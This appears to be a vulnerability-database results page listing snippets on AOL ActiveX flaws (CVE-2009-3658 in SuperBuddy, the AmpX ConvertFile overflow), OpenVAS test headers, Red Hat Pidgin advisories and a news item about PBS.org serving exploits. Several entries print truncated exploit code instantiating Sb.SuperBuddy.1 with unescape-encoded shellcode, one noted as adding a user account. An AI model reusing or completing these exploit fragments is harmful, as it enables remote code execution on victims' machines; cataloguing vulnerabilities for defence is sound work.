AOL SuperBuddy ActiveX Control RCE Vulnerability

AOL ActiveX is prone to a remote code execution RCE vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

AOL SuperBuddy ActiveX Control Remote Code Execution Vulnerability

This host is installed with AOL ActiveX and is prone to remote code execution vulnerability. OpenVAS Vulnerability Test $Id: gbaolactivexremotecodeexecvuln.nasl 4865 2016-12-28 16:16:43Z teissa $ AOL SuperBuddy ActiveX Control Remote Code Execution Vulnerability Authors: Antu Sanadi Copyright:...

CVE-2009-3658

Use-after-free vulnerability in the Sb.SuperBuddy.1 ActiveX control sb.dll in America Online AOL 9.5.0.1 allows remote attackers to trigger memory corruption or possibly execute arbitrary code via a malformed argument to the SetSuperBuddy method...

CVE-2009-3658

The CVE-2009-3658 entry concerns AOL (America Online) 9.5.0.1, specifically the Sb.SuperBuddy.1 ActiveX control (sb.dll). A use-after-free in the SetSuperBuddy method leads to memory corruption and potential remote code execution. Public details across sources confirm RCE risk with this ActiveX c...

CVE-2009-3658

Use-after-free vulnerability in the Sb.SuperBuddy.1 ActiveX control sb.dll in America Online AOL 9.5.0.1 allows remote attackers to trigger memory corruption or possibly execute arbitrary code via a malformed argument to the SetSuperBuddy method...

AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy() remote code execution exploit

!-- AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy remote code execution exploit IE7/heap spray version by nine:situations:group::trotzkista Is possible to execute arbitrary code by setting the first argument to an overlong url and the second argument to a 16 bytes long string which overwrite...

AOL ActiveX buffer overflow

Buffer overflow in Sb.SuperBuddy.1 control...

AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

AOL 9.1 SuperBuddy ActiveX Control remote code execution

Exploit for unknown platform in category remote exploits ======================================================== AOL 9.1 SuperBuddy ActiveX Control remote code execution ======================================================== Title: AOL 9.1 SuperBuddy ActiveX Control remote code execution CVE-I...

AOL 9.1 SuperBuddy ActiveX Control remote code execution

No description provided by source. script language=vbscript Set obj = CreateObject"Sb.SuperBuddy.1" /script script language=javascript shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +...

Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow (CVE-2008-0065)

NullSoft Winamp is a multimedia player that is capable of playing back many audio/video formats and streaming protocols. Winamp supports the Ultravox media streaming format, a proprietary streaming media protocol developed by AOL. There exists a buffer overflow vulnerability in Nullsoft Winamp...

AOL 9.1 SuperBuddy - ActiveX Control Remote code Execution

AOL 9.1 SuperBuddy - ActiveX Control Remote code Execution Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

AOL 9.1 SuperBuddy - ActiveX Control Remote code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

PBS Website Compromised, Used to Serve Exploits

Some sections of the popular PBS.org Web site have been hijacked by hackers serving up a cocktail of dangerous exploits. According to researchers at Purewire, attempts to access certain PBS Web site pages yielded JavaScript that serves exploits from a malicious domain via an iframe. The malicious...

RedHat Security Advisory RHSA-2009:1139

The remote host is missing updates announced in advisory RHSA-2009:1139. Pidgin is an instant messaging program which can log in to multiple accounts on multiple instant messaging networks simultaneously. The AOL Open System for CommunicAtion in Realtime OSCAR protocol is used by the AOL ICQ and...

RedHat Security Advisory RHSA-2009:1139

The remote host is missing updates announced in advisory RHSA-2009:1139. Pidgin is an instant messaging program which can log in to multiple accounts on multiple instant messaging networks simultaneously. The AOL Open System for CommunicAtion in Realtime OSCAR protocol is used by the AOL ICQ and...

Moderate: Red Hat Security Advisory: pidgin security and bug fix update

Updated pidgin packages that fix one security issue and one bug are now available for Red Hat Enterprise Linux 4 and 5. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Pidgin is an instant messaging program which can log in to multiple accounts...

AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow

This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX class AmpX.dll version 2.4.0.6 installed via AOL Radio website. By setting an overly long value to 'ConvertFile', an attacker can overrun a buffer and execute arbitrary code. This module requires Metasploit:...

AOL Radio AmpX ActiveX控件'ConvertFile()'缓冲区溢出漏洞

Bugraq ID: 35028 CNCAN ID：CNCAN-2009052001 AOL Radio AmpX是一款用于在网页中嵌入流音频内容的控件。 AOL Radio AmpX包含的控件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序权限执行任意代码。 问题存在于Ampx.dll包含的控件中，由于对ConvertFile方法的参数缺少充分边界检查，构建恶意WEB页，诱使用户打开，可导致以应用程序权限执行任意代码。 AOL AmpX.dll 2.4 6 厂商解决方案 目前没有解决方案提供： http://music.aol.com/radioguide/bb/ !-- AOL...

AOL IWinAmpActiveX Class - ConvertFile() Remote Buffer Overflow

AOL IWinAmpActiveX Class - ConvertFile Remote Buffer Overflow //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...